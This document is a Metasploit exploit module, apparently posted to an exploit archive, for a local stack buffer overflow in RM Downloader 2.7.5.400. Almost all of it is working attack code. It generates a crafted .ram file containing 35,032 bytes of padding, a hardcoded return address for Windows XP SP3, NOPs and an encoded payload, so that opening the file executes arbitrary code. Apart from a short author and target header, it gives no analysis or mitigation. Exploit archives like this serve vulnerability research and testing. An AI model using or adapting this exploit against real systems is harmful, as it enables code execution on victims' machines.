RM Downloader 2.7.5.400 Local Buffer Overflow

`###  
#[+] Author: TUNISIAN CYBER  
#[+] Exploit Title: RM Downloader v2.7.5.400 Local Buffer Overflow (MSF)  
#[+] Date: 25-03-2015  
#[+] Type: Local Exploits  
#[+] Tested on: WinXp/Windows 7 Pro  
#[+] Vendor: http://software-files-a.cnet.com/s/software/10/65/60/49/Mini-streamRM-MP3Converter.exe?token=1427318981_98f71d0e10e2e3bd2e730179341feb0a&fileName=Mini-streamRM-MP3Converter.exe  
#[+] Twitter: @TCYB3R  
##  
  
##  
# $Id: rmdownloader_bof.rb 2015-04-01 03:03 TUNISIAN CYBER $  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'RM Downloader v2.7.5.400 Local Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in RM Downloader v2.7.5.400  
creating a specially crafted .ram file, an attacker may be able   
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' =>   
[  
'TUNISIAN CYBER', # Original  
'TUNISIAN CYBER' # MSF Module  
],  
'Version' => 'Version 2.7.5.400',  
'References' =>  
[  
[ 'URL', 'https://www.exploit-db.com/exploits/36502/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP-SP3 (EN)', { 'Ret' => 0x7C9D30D7} ]  
],  
'Privileged' => false,  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'msf.ram']),  
], self.class)  
end  
  
def exploit  
  
sploit = rand_text_alphanumeric(35032) # Buffer Junk  
sploit << [target.ret].pack('V')  
sploit << make_nops(4)  
sploit << payload.encoded  
  
tc = sploit  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(tc)  
  
end  
  
end`